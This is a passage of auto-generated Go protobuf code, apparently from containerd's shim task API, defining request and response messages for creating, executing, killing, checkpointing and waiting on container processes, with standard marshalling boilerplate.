`protobuf:"bytes,10,opt,name=parent_checkpoint,json=parentCheckpoint,proto3" json:"parent_checkpoint,omitempty"` 45 | Options *types1.Any `protobuf:"bytes,11,opt,name=options,proto3" json:"options,omitempty"` 46 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 47 | XXX_unrecognized []byte `json:"-"` 48 | XXX_sizecache int32 `json:"-"` 49 | } 50 | 51 | func (m *CreateTaskRequest) Reset() { *m = CreateTaskRequest{} } 52 | func (*CreateTaskRequest) ProtoMessage() {} 53 | func (*CreateTaskRequest) Descriptor() ([]byte, []int) { 54 | return fileDescriptor_be1b2ef30ea3b8ef, []int{0} 55 | } 56 | func (m *CreateTaskRequest) XXX_Unmarshal(b []byte) error { 57 | return m.Unmarshal(b) 58 | } 59 | func (m *CreateTaskRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 60 | if deterministic { 61 | return xxx_messageInfo_CreateTaskRequest.Marshal(b, m, deterministic) 62 | } else { 63 | b = b[:cap(b)] 64 | n, err := m.MarshalTo(b) 65 | if err != nil { 66 | return nil, err 67 | } 68 | return b[:n], nil 69 | } 70 | } 71 | func (m *CreateTaskRequest) XXX_Merge(src proto.Message) { 72 | xxx_messageInfo_CreateTaskRequest.Merge(m, src) 73 | } 74 | func (m *CreateTaskRequest) XXX_Size() int { 75 | return m.Size() 76 | } 77 | func (m *CreateTaskRequest) XXX_DiscardUnknown() { 78 | xxx_messageInfo_CreateTaskRequest.DiscardUnknown(m) 79 | } 80 | 81 | var xxx_messageInfo_CreateTaskRequest proto.InternalMessageInfo 82 | 83 | type CreateTaskResponse struct { 84 | Pid uint32 `protobuf:"varint,1,opt,name=pid,proto3" json:"pid,omitempty"` 85 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 86 | XXX_unrecognized []byte `json:"-"` 87 | XXX_sizecache int32 `json:"-"` 88 | } 89 | 90 | func (m *CreateTaskResponse) Reset() { *m = CreateTaskResponse{} } 91 | func (*CreateTaskResponse) ProtoMessage() {} 92 | func (*CreateTaskResponse) Descriptor() ([]byte, []int) { 93 | return fileDescriptor_be1b2ef30ea3b8ef, []int{1} 94 | } 95 | func (m *CreateTaskResponse) XXX_Unmarshal(b []byte) error { 96 | return m.Unmarshal(b) 97 | } 98 | func (m *CreateTaskResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 99 | if deterministic { 100 | return xxx_messageInfo_CreateTaskResponse.Marshal(b, m, deterministic) 101 | } else { 102 | b = b[:cap(b)] 103 | n, err := m.MarshalTo(b) 104 | if err != nil { 105 | return nil, err 106 | } 107 | return b[:n], nil 108 | } 109 | } 110 | func (m *CreateTaskResponse) XXX_Merge(src proto.Message) { 111 | xxx_messageInfo_CreateTaskResponse.Merge(m, src) 112 | } 113 | func (m *CreateTaskResponse) XXX_Size() int { 114 | return m.Size() 115 | } 116 | func (m *CreateTaskResponse) XXX_DiscardUnknown() { 117 | xxx_messageInfo_CreateTaskResponse.DiscardUnknown(m) 118 | } 119 | 120 | var xxx_messageInfo_CreateTaskResponse proto.InternalMessageInfo 121 | 122 | type DeleteResponse struct { 123 | Pid uint32 `protobuf:"varint,1,opt,name=pid,proto3" json:"pid,omitempty"` 124 | ExitStatus uint32 `protobuf:"varint,2,opt,name=exit_status,json=exitStatus,proto3" json:"exit_status,omitempty"` 125 | ExitedAt time.Time `protobuf:"bytes,3,opt,name=exited_at,json=exitedAt,proto3,stdtime" json:"exited_at"` 126 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 127 | XXX_unrecognized []byte `json:"-"` 128 | XXX_sizecache int32 `json:"-"` 129 | } 130 | 131 | func (m *DeleteResponse) Reset() { *m = DeleteResponse{} } 132 | func (*DeleteResponse) ProtoMessage() {} 133 | func (*DeleteResponse) Descriptor() ([]byte, []int) { 134 | return fileDescriptor_be1b2ef30ea3b8ef, []int{2} 135 | } 136 | func (m *DeleteResponse) XXX_Unmarshal(b []byte) error { 137 | return m.Unmarshal(b) 138 | } 139 | func (m *DeleteResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 140 | if deterministic { 141 | return xxx_messageInfo_DeleteResponse.Marshal(b, m, deterministic) 142 | } else { 143 | b = b[:cap(b)] 144 | n, err := m.MarshalTo(b) 145 | if err != nil { 146 | return nil, err 147 | } 148 | return b[:n], nil 149 | } 150 | } 151 | func (m *DeleteResponse) XXX_Merge(src proto.Message) { 152 | xxx_messageInfo_DeleteResponse.Merge(m, src) 153 | } 154 | func (m *DeleteResponse) XXX_Size() int { 155 | return m.Size() 156 | } 157 | func (m *DeleteResponse) XXX_DiscardUnknown() { 158 | xxx_messageInfo_DeleteResponse.DiscardUnknown(m) 159 | } 160 | 161 | var xxx_messageInfo_DeleteResponse proto.InternalMessageInfo 162 | 163 | type DeleteProcessRequest struct { 164 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 165 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 166 | XXX_unrecognized []byte `json:"-"` 167 | XXX_sizecache int32 `json:"-"` 168 | } 169 | 170 | func (m *DeleteProcessRequest) Reset() { *m = DeleteProcessRequest{} } 171 | func (*DeleteProcessRequest) ProtoMessage() {} 172 | func (*DeleteProcessRequest) Descriptor() ([]byte, []int) { 173 | return fileDescriptor_be1b2ef30ea3b8ef, []int{3} 174 | } 175 | func (m *DeleteProcessRequest) XXX_Unmarshal(b []byte) error { 176 | return m.Unmarshal(b) 177 | } 178 | func (m *DeleteProcessRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 179 | if deterministic { 180 | return xxx_messageInfo_DeleteProcessRequest.Marshal(b, m, deterministic) 181 | } else { 182 | b = b[:cap(b)] 183 | n, err := m.MarshalTo(b) 184 | if err != nil { 185 | return nil, err 186 | } 187 | return b[:n], nil 188 | } 189 | } 190 | func (m *DeleteProcessRequest) XXX_Merge(src proto.Message) { 191 | xxx_messageInfo_DeleteProcessRequest.Merge(m, src) 192 | } 193 | func (m *DeleteProcessRequest) XXX_Size() int { 194 | return m.Size() 195 | } 196 | func (m *DeleteProcessRequest) XXX_DiscardUnknown() { 197 | xxx_messageInfo_DeleteProcessRequest.DiscardUnknown(m) 198 | } 199 | 200 | var xxx_messageInfo_DeleteProcessRequest proto.InternalMessageInfo 201 | 202 | type ExecProcessRequest struct { 203 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 204 | Terminal bool `protobuf:"varint,2,opt,name=terminal,proto3" json:"terminal,omitempty"` 205 | Stdin string `protobuf:"bytes,3,opt,name=stdin,proto3" json:"stdin,omitempty"` 206 | Stdout string `protobuf:"bytes,4,opt,name=stdout,proto3" json:"stdout,omitempty"` 207 | Stderr string `protobuf:"bytes,5,opt,name=stderr,proto3" json:"stderr,omitempty"` 208 | Spec *types1.Any `protobuf:"bytes,6,opt,name=spec,proto3" json:"spec,omitempty"` 209 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 210 | XXX_unrecognized []byte `json:"-"` 211 | XXX_sizecache int32 `json:"-"` 212 | } 213 | 214 | func (m *ExecProcessRequest) Reset() { *m = ExecProcessRequest{} } 215 | func (*ExecProcessRequest) ProtoMessage() {} 216 | func (*ExecProcessRequest) Descriptor() ([]byte, []int) { 217 | return fileDescriptor_be1b2ef30ea3b8ef, []int{4} 218 | } 219 | func (m *ExecProcessRequest) XXX_Unmarshal(b []byte) error { 220 | return m.Unmarshal(b) 221 | } 222 | func (m *ExecProcessRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 223 | if deterministic { 224 | return xxx_messageInfo_ExecProcessRequest.Marshal(b, m, deterministic) 225 | } else { 226 | b = b[:cap(b)] 227 | n, err := m.MarshalTo(b) 228 | if err != nil { 229 | return nil, err 230 | } 231 | return b[:n], nil 232 | } 233 | } 234 | func (m *ExecProcessRequest) XXX_Merge(src proto.Message) { 235 | xxx_messageInfo_ExecProcessRequest.Merge(m, src) 236 | } 237 | func (m *ExecProcessRequest) XXX_Size() int { 238 | return m.Size() 239 | } 240 | func (m *ExecProcessRequest) XXX_DiscardUnknown() { 241 | xxx_messageInfo_ExecProcessRequest.DiscardUnknown(m) 242 | } 243 | 244 | var xxx_messageInfo_ExecProcessRequest proto.InternalMessageInfo 245 | 246 | type ExecProcessResponse struct { 247 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 248 | XXX_unrecognized []byte `json:"-"` 249 | XXX_sizecache int32 `json:"-"` 250 | } 251 | 252 | func (m *ExecProcessResponse) Reset() { *m = ExecProcessResponse{} } 253 | func (*ExecProcessResponse) ProtoMessage() {} 254 | func (*ExecProcessResponse) Descriptor() ([]byte, []int) { 255 | return fileDescriptor_be1b2ef30ea3b8ef, []int{5} 256 | } 257 | func (m *ExecProcessResponse) XXX_Unmarshal(b []byte) error { 258 | return m.Unmarshal(b) 259 | } 260 | func (m *ExecProcessResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 261 | if deterministic { 262 | return xxx_messageInfo_ExecProcessResponse.Marshal(b, m, deterministic) 263 | } else { 264 | b = b[:cap(b)] 265 | n, err := m.MarshalTo(b) 266 | if err != nil { 267 | return nil, err 268 | } 269 | return b[:n], nil 270 | } 271 | } 272 | func (m *ExecProcessResponse) XXX_Merge(src proto.Message) { 273 | xxx_messageInfo_ExecProcessResponse.Merge(m, src) 274 | } 275 | func (m *ExecProcessResponse) XXX_Size() int { 276 | return m.Size() 277 | } 278 | func (m *ExecProcessResponse) XXX_DiscardUnknown() { 279 | xxx_messageInfo_ExecProcessResponse.DiscardUnknown(m) 280 | } 281 | 282 | var xxx_messageInfo_ExecProcessResponse proto.InternalMessageInfo 283 | 284 | type ResizePtyRequest struct { 285 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 286 | Width uint32 `protobuf:"varint,2,opt,name=width,proto3" json:"width,omitempty"` 287 | Height uint32 `protobuf:"varint,3,opt,name=height,proto3" json:"height,omitempty"` 288 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 289 | XXX_unrecognized []byte `json:"-"` 290 | XXX_sizecache int32 `json:"-"` 291 | } 292 | 293 | func (m *ResizePtyRequest) Reset() { *m = ResizePtyRequest{} } 294 | func (*ResizePtyRequest) ProtoMessage() {} 295 | func (*ResizePtyRequest) Descriptor() ([]byte, []int) { 296 | return fileDescriptor_be1b2ef30ea3b8ef, []int{6} 297 | } 298 | func (m *ResizePtyRequest) XXX_Unmarshal(b []byte) error { 299 | return m.Unmarshal(b) 300 | } 301 | func (m *ResizePtyRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 302 | if deterministic { 303 | return xxx_messageInfo_ResizePtyRequest.Marshal(b, m, deterministic) 304 | } else { 305 | b = b[:cap(b)] 306 | n, err := m.MarshalTo(b) 307 | if err != nil { 308 | return nil, err 309 | } 310 | return b[:n], nil 311 | } 312 | } 313 | func (m *ResizePtyRequest) XXX_Merge(src proto.Message) { 314 | xxx_messageInfo_ResizePtyRequest.Merge(m, src) 315 | } 316 | func (m *ResizePtyRequest) XXX_Size() int { 317 | return m.Size() 318 | } 319 | func (m *ResizePtyRequest) XXX_DiscardUnknown() { 320 | xxx_messageInfo_ResizePtyRequest.DiscardUnknown(m) 321 | } 322 | 323 | var xxx_messageInfo_ResizePtyRequest proto.InternalMessageInfo 324 | 325 | type StateRequest struct { 326 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 327 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 328 | XXX_unrecognized []byte `json:"-"` 329 | XXX_sizecache int32 `json:"-"` 330 | } 331 | 332 | func (m *StateRequest) Reset() { *m = StateRequest{} } 333 | func (*StateRequest) ProtoMessage() {} 334 | func (*StateRequest) Descriptor() ([]byte, []int) { 335 | return fileDescriptor_be1b2ef30ea3b8ef, []int{7} 336 | } 337 | func (m *StateRequest) XXX_Unmarshal(b []byte) error { 338 | return m.Unmarshal(b) 339 | } 340 | func (m *StateRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 341 | if deterministic { 342 | return xxx_messageInfo_StateRequest.Marshal(b, m, deterministic) 343 | } else { 344 | b = b[:cap(b)] 345 | n, err := m.MarshalTo(b) 346 | if err != nil { 347 | return nil, err 348 | } 349 | return b[:n], nil 350 | } 351 | } 352 | func (m *StateRequest) XXX_Merge(src proto.Message) { 353 | xxx_messageInfo_StateRequest.Merge(m, src) 354 | } 355 | func (m *StateRequest) XXX_Size() int { 356 | return m.Size() 357 | } 358 | func (m *StateRequest) XXX_DiscardUnknown() { 359 | xxx_messageInfo_StateRequest.DiscardUnknown(m) 360 | } 361 | 362 | var xxx_messageInfo_StateRequest proto.InternalMessageInfo 363 | 364 | type StateResponse struct { 365 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 366 | Bundle string `protobuf:"bytes,2,opt,name=bundle,proto3" json:"bundle,omitempty"` 367 | Pid uint32 `protobuf:"varint,3,opt,name=pid,proto3" json:"pid,omitempty"` 368 | Status task.Status `protobuf:"varint,4,opt,name=status,proto3,enum=containerd.v1.types.Status" json:"status,omitempty"` 369 | Stdin string `protobuf:"bytes,5,opt,name=stdin,proto3" json:"stdin,omitempty"` 370 | Stdout string `protobuf:"bytes,6,opt,name=stdout,proto3" json:"stdout,omitempty"` 371 | Stderr string `protobuf:"bytes,7,opt,name=stderr,proto3" json:"stderr,omitempty"` 372 | Terminal bool `protobuf:"varint,8,opt,name=terminal,proto3" json:"terminal,omitempty"` 373 | ExitStatus uint32 `protobuf:"varint,9,opt,name=exit_status,json=exitStatus,proto3" json:"exit_status,omitempty"` 374 | ExitedAt time.Time `protobuf:"bytes,10,opt,name=exited_at,json=exitedAt,proto3,stdtime" json:"exited_at"` 375 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 376 | XXX_unrecognized []byte `json:"-"` 377 | XXX_sizecache int32 `json:"-"` 378 | } 379 | 380 | func (m *StateResponse) Reset() { *m = StateResponse{} } 381 | func (*StateResponse) ProtoMessage() {} 382 | func (*StateResponse) Descriptor() ([]byte, []int) { 383 | return fileDescriptor_be1b2ef30ea3b8ef, []int{8} 384 | } 385 | func (m *StateResponse) XXX_Unmarshal(b []byte) error { 386 | return m.Unmarshal(b) 387 | } 388 | func (m *StateResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 389 | if deterministic { 390 | return xxx_messageInfo_StateResponse.Marshal(b, m, deterministic) 391 | } else { 392 | b = b[:cap(b)] 393 | n, err := m.MarshalTo(b) 394 | if err != nil { 395 | return nil, err 396 | } 397 | return b[:n], nil 398 | } 399 | } 400 | func (m *StateResponse) XXX_Merge(src proto.Message) { 401 | xxx_messageInfo_StateResponse.Merge(m, src) 402 | } 403 | func (m *StateResponse) XXX_Size() int { 404 | return m.Size() 405 | } 406 | func (m *StateResponse) XXX_DiscardUnknown() { 407 | xxx_messageInfo_StateResponse.DiscardUnknown(m) 408 | } 409 | 410 | var xxx_messageInfo_StateResponse proto.InternalMessageInfo 411 | 412 | type KillRequest struct { 413 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 414 | Signal uint32 `protobuf:"varint,2,opt,name=signal,proto3" json:"signal,omitempty"` 415 | All bool `protobuf:"varint,3,opt,name=all,proto3" json:"all,omitempty"` 416 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 417 | XXX_unrecognized []byte `json:"-"` 418 | XXX_sizecache int32 `json:"-"` 419 | } 420 | 421 | func (m *KillRequest) Reset() { *m = KillRequest{} } 422 | func (*KillRequest) ProtoMessage() {} 423 | func (*KillRequest) Descriptor() ([]byte, []int) { 424 | return fileDescriptor_be1b2ef30ea3b8ef, []int{9} 425 | } 426 | func (m *KillRequest) XXX_Unmarshal(b []byte) error { 427 | return m.Unmarshal(b) 428 | } 429 | func (m *KillRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 430 | if deterministic { 431 | return xxx_messageInfo_KillRequest.Marshal(b, m, deterministic) 432 | } else { 433 | b = b[:cap(b)] 434 | n, err := m.MarshalTo(b) 435 | if err != nil { 436 | return nil, err 437 | } 438 | return b[:n], nil 439 | } 440 | } 441 | func (m *KillRequest) XXX_Merge(src proto.Message) { 442 | xxx_messageInfo_KillRequest.Merge(m, src) 443 | } 444 | func (m *KillRequest) XXX_Size() int { 445 | return m.Size() 446 | } 447 | func (m *KillRequest) XXX_DiscardUnknown() { 448 | xxx_messageInfo_KillRequest.DiscardUnknown(m) 449 | } 450 | 451 | var xxx_messageInfo_KillRequest proto.InternalMessageInfo 452 | 453 | type CloseIORequest struct { 454 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 455 | Stdin bool `protobuf:"varint,2,opt,name=stdin,proto3" json:"stdin,omitempty"` 456 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 457 | XXX_unrecognized []byte `json:"-"` 458 | XXX_sizecache int32 `json:"-"` 459 | } 460 | 461 | func (m *CloseIORequest) Reset() { *m = CloseIORequest{} } 462 | func (*CloseIORequest) ProtoMessage() {} 463 | func (*CloseIORequest) Descriptor() ([]byte, []int) { 464 | return fileDescriptor_be1b2ef30ea3b8ef, []int{10} 465 | } 466 | func (m *CloseIORequest) XXX_Unmarshal(b []byte) error { 467 | return m.Unmarshal(b) 468 | } 469 | func (m *CloseIORequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 470 | if deterministic { 471 | return xxx_messageInfo_CloseIORequest.Marshal(b, m, deterministic) 472 | } else { 473 | b = b[:cap(b)] 474 | n, err := m.MarshalTo(b) 475 | if err != nil { 476 | return nil, err 477 | } 478 | return b[:n], nil 479 | } 480 | } 481 | func (m *CloseIORequest) XXX_Merge(src proto.Message) { 482 | xxx_messageInfo_CloseIORequest.Merge(m, src) 483 | } 484 | func (m *CloseIORequest) XXX_Size() int { 485 | return m.Size() 486 | } 487 | func (m *CloseIORequest) XXX_DiscardUnknown() { 488 | xxx_messageInfo_CloseIORequest.DiscardUnknown(m) 489 | } 490 | 491 | var xxx_messageInfo_CloseIORequest proto.InternalMessageInfo 492 | 493 | type ListPidsRequest struct { 494 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 495 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 496 | XXX_unrecognized []byte `json:"-"` 497 | XXX_sizecache int32 `json:"-"` 498 | } 499 | 500 | func (m *ListPidsRequest) Reset() { *m = ListPidsRequest{} } 501 | func (*ListPidsRequest) ProtoMessage() {} 502 | func (*ListPidsRequest) Descriptor() ([]byte, []int) { 503 | return fileDescriptor_be1b2ef30ea3b8ef, []int{11} 504 | } 505 | func (m *ListPidsRequest) XXX_Unmarshal(b []byte) error { 506 | return m.Unmarshal(b) 507 | } 508 | func (m *ListPidsRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 509 | if deterministic { 510 | return xxx_messageInfo_ListPidsRequest.Marshal(b, m, deterministic) 511 | } else { 512 | b = b[:cap(b)] 513 | n, err := m.MarshalTo(b) 514 | if err != nil { 515 | return nil, err 516 | } 517 | return b[:n], nil 518 | } 519 | } 520 | func (m *ListPidsRequest) XXX_Merge(src proto.Message) { 521 | xxx_messageInfo_ListPidsRequest.Merge(m, src) 522 | } 523 | func (m *ListPidsRequest) XXX_Size() int { 524 | return m.Size() 525 | } 526 | func (m *ListPidsRequest) XXX_DiscardUnknown() { 527 | xxx_messageInfo_ListPidsRequest.DiscardUnknown(m) 528 | } 529 | 530 | var xxx_messageInfo_ListPidsRequest proto.InternalMessageInfo 531 | 532 | type ListPidsResponse struct { 533 | Processes []*task.ProcessInfo `protobuf:"bytes,1,rep,name=processes,proto3" json:"processes,omitempty"` 534 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 535 | XXX_unrecognized []byte `json:"-"` 536 | XXX_sizecache int32 `json:"-"` 537 | } 538 | 539 | func (m *ListPidsResponse) Reset() { *m = ListPidsResponse{} } 540 | func (*ListPidsResponse) ProtoMessage() {} 541 | func (*ListPidsResponse) Descriptor() ([]byte, []int) { 542 | return fileDescriptor_be1b2ef30ea3b8ef, []int{12} 543 | } 544 | func (m *ListPidsResponse) XXX_Unmarshal(b []byte) error { 545 | return m.Unmarshal(b) 546 | } 547 | func (m *ListPidsResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 548 | if deterministic { 549 | return xxx_messageInfo_ListPidsResponse.Marshal(b, m, deterministic) 550 | } else { 551 | b = b[:cap(b)] 552 | n, err := m.MarshalTo(b) 553 | if err != nil { 554 | return nil, err 555 | } 556 | return b[:n], nil 557 | } 558 | } 559 | func (m *ListPidsResponse) XXX_Merge(src proto.Message) { 560 | xxx_messageInfo_ListPidsResponse.Merge(m, src) 561 | } 562 | func (m *ListPidsResponse) XXX_Size() int { 563 | return m.Size() 564 | } 565 | func (m *ListPidsResponse) XXX_DiscardUnknown() { 566 | xxx_messageInfo_ListPidsResponse.DiscardUnknown(m) 567 | } 568 | 569 | var xxx_messageInfo_ListPidsResponse proto.InternalMessageInfo 570 | 571 | type CheckpointTaskRequest struct { 572 | Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` 573 | Options *types1.Any `protobuf:"bytes,2,opt,name=options,proto3" json:"options,omitempty"` 574 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 575 | XXX_unrecognized []byte `json:"-"` 576 | XXX_sizecache int32 `json:"-"` 577 | } 578 | 579 | func (m *CheckpointTaskRequest) Reset() { *m = CheckpointTaskRequest{} } 580 | func (*CheckpointTaskRequest) ProtoMessage() {} 581 | func (*CheckpointTaskRequest) Descriptor() ([]byte, []int) { 582 | return fileDescriptor_be1b2ef30ea3b8ef, []int{13} 583 | } 584 | func (m *CheckpointTaskRequest) XXX_Unmarshal(b []byte) error { 585 | return m.Unmarshal(b) 586 | } 587 | func (m *CheckpointTaskRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 588 | if deterministic { 589 | return xxx_messageInfo_CheckpointTaskRequest.Marshal(b, m, deterministic) 590 | } else { 591 | b = b[:cap(b)] 592 | n, err := m.MarshalTo(b) 593 | if err != nil { 594 | return nil, err 595 | } 596 | return b[:n], nil 597 | } 598 | } 599 | func (m *CheckpointTaskRequest) XXX_Merge(src proto.Message) { 600 | xxx_messageInfo_CheckpointTaskRequest.Merge(m, src) 601 | } 602 | func (m *CheckpointTaskRequest) XXX_Size() int { 603 | return m.Size() 604 | } 605 | func (m *CheckpointTaskRequest) XXX_DiscardUnknown() { 606 | xxx_messageInfo_CheckpointTaskRequest.DiscardUnknown(m) 607 | } 608 | 609 | var xxx_messageInfo_CheckpointTaskRequest proto.InternalMessageInfo 610 | 611 | type ShimInfoResponse struct { 612 | ShimPid uint32 `protobuf:"varint,1,opt,name=shim_pid,json=shimPid,proto3" json:"shim_pid,omitempty"` 613 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 614 | XXX_unrecognized []byte `json:"-"` 615 | XXX_sizecache int32 `json:"-"` 616 | } 617 | 618 | func (m *ShimInfoResponse) Reset() { *m = ShimInfoResponse{} } 619 | func (*ShimInfoResponse) ProtoMessage() {} 620 | func (*ShimInfoResponse) Descriptor() ([]byte, []int) { 621 | return fileDescriptor_be1b2ef30ea3b8ef, []int{14} 622 | } 623 | func (m *ShimInfoResponse) XXX_Unmarshal(b []byte) error { 624 | return m.Unmarshal(b) 625 | } 626 | func (m *ShimInfoResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 627 | if deterministic { 628 | return xxx_messageInfo_ShimInfoResponse.Marshal(b, m, deterministic) 629 | } else { 630 | b = b[:cap(b)] 631 | n, err := m.MarshalTo(b) 632 | if err != nil { 633 | return nil, err 634 | } 635 | return b[:n], nil 636 | } 637 | } 638 | func (m *ShimInfoResponse) XXX_Merge(src proto.Message) { 639 | xxx_messageInfo_ShimInfoResponse.Merge(m, src) 640 | } 641 | func (m *ShimInfoResponse) XXX_Size() int { 642 | return m.Size() 643 | } 644 | func (m *ShimInfoResponse) XXX_DiscardUnknown() { 645 | xxx_messageInfo_ShimInfoResponse.DiscardUnknown(m) 646 | } 647 | 648 | var xxx_messageInfo_ShimInfoResponse proto.InternalMessageInfo 649 | 650 | type UpdateTaskRequest struct { 651 | Resources *types1.Any `protobuf:"bytes,1,opt,name=resources,proto3" json:"resources,omitempty"` 652 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 653 | XXX_unrecognized []byte `json:"-"` 654 | XXX_sizecache int32 `json:"-"` 655 | } 656 | 657 | func (m *UpdateTaskRequest) Reset() { *m = UpdateTaskRequest{} } 658 | func (*UpdateTaskRequest) ProtoMessage() {} 659 | func (*UpdateTaskRequest) Descriptor() ([]byte, []int) { 660 | return fileDescriptor_be1b2ef30ea3b8ef, []int{15} 661 | } 662 | func (m *UpdateTaskRequest) XXX_Unmarshal(b []byte) error { 663 | return m.Unmarshal(b) 664 | } 665 | func (m *UpdateTaskRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 666 | if deterministic { 667 | return xxx_messageInfo_UpdateTaskRequest.Marshal(b, m, deterministic) 668 | } else { 669 | b = b[:cap(b)] 670 | n, err := m.MarshalTo(b) 671 | if err != nil { 672 | return nil, err 673 | } 674 | return b[:n], nil 675 | } 676 | } 677 | func (m *UpdateTaskRequest) XXX_Merge(src proto.Message) { 678 | xxx_messageInfo_UpdateTaskRequest.Merge(m, src) 679 | } 680 | func (m *UpdateTaskRequest) XXX_Size() int { 681 | return m.Size() 682 | } 683 | func (m *UpdateTaskRequest) XXX_DiscardUnknown() { 684 | xxx_messageInfo_UpdateTaskRequest.DiscardUnknown(m) 685 | } 686 | 687 | var xxx_messageInfo_UpdateTaskRequest proto.InternalMessageInfo 688 | 689 | type StartRequest struct { 690 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 691 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 692 | XXX_unrecognized []byte `json:"-"` 693 | XXX_sizecache int32 `json:"-"` 694 | } 695 | 696 | func (m *StartRequest) Reset() { *m = StartRequest{} } 697 | func (*StartRequest) ProtoMessage() {} 698 | func (*StartRequest) Descriptor() ([]byte, []int) { 699 | return fileDescriptor_be1b2ef30ea3b8ef, []int{16} 700 | } 701 | func (m *StartRequest) XXX_Unmarshal(b []byte) error { 702 | return m.Unmarshal(b) 703 | } 704 | func (m *StartRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 705 | if deterministic { 706 | return xxx_messageInfo_StartRequest.Marshal(b, m, deterministic) 707 | } else { 708 | b = b[:cap(b)] 709 | n, err := m.MarshalTo(b) 710 | if err != nil { 711 | return nil, err 712 | } 713 | return b[:n], nil 714 | } 715 | } 716 | func (m *StartRequest) XXX_Merge(src proto.Message) { 717 | xxx_messageInfo_StartRequest.Merge(m, src) 718 | } 719 | func (m *StartRequest) XXX_Size() int { 720 | return m.Size() 721 | } 722 | func (m *StartRequest) XXX_DiscardUnknown() { 723 | xxx_messageInfo_StartRequest.DiscardUnknown(m) 724 | } 725 | 726 | var xxx_messageInfo_StartRequest proto.InternalMessageInfo 727 | 728 | type StartResponse struct { 729 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 730 | Pid uint32 `protobuf:"varint,2,opt,name=pid,proto3" json:"pid,omitempty"` 731 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 732 | XXX_unrecognized []byte `json:"-"` 733 | XXX_sizecache int32 `json:"-"` 734 | } 735 | 736 | func (m *StartResponse) Reset() { *m = StartResponse{} } 737 | func (*StartResponse) ProtoMessage() {} 738 | func (*StartResponse) Descriptor() ([]byte, []int) { 739 | return fileDescriptor_be1b2ef30ea3b8ef, []int{17} 740 | } 741 | func (m *StartResponse) XXX_Unmarshal(b []byte) error { 742 | return m.Unmarshal(b) 743 | } 744 | func (m *StartResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 745 | if deterministic { 746 | return xxx_messageInfo_StartResponse.Marshal(b, m, deterministic) 747 | } else { 748 | b = b[:cap(b)] 749 | n, err := m.MarshalTo(b) 750 | if err != nil { 751 | return nil, err 752 | } 753 | return b[:n], nil 754 | } 755 | } 756 | func (m *StartResponse) XXX_Merge(src proto.Message) { 757 | xxx_messageInfo_StartResponse.Merge(m, src) 758 | } 759 | func (m *StartResponse) XXX_Size() int { 760 | return m.Size() 761 | } 762 | func (m *StartResponse) XXX_DiscardUnknown() { 763 | xxx_messageInfo_StartResponse.DiscardUnknown(m) 764 | } 765 | 766 | var xxx_messageInfo_StartResponse proto.InternalMessageInfo 767 | 768 | type WaitRequest struct { 769 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 770 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 771 | XXX_unrecognized []byte `json:"-"` 772 | XXX_sizecache int32 `json:"-"` 773 | } 774 | 775 | func (m *WaitRequest) Reset() { *m = WaitRequest{} } 776 | func (*WaitRequest) ProtoMessage() {} 777 | func (*WaitRequest) Descriptor() ([]byte, []int) { 778 | return fileDescriptor_be1b2ef30ea3b8ef, []int{18} 779 | } 780 | func (m *WaitRequest) XXX_Unmarshal(b []byte) error { 781 | return m.Unmarshal(b) 782 | } 783 | func (m *WaitRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 784 | if deterministic { 785 | return xxx_messageInfo_WaitRequest.Marshal(b, m, deterministic) 786 | } else { 787 | b = b[:cap(b)] 788 | n, err := m.MarshalTo(b) 789 | if err != nil { 790 | return nil, err 791 | } 792 | return b[:n], nil 793 | } 794 | } 795 | func (m *WaitRequest) XXX_Merge(src proto.Message) { 796 | xxx_messageInfo_WaitRequest.Merge(m, src) 797 | } 798 | func (m *WaitRequest) XXX_Size() int { 799 | return 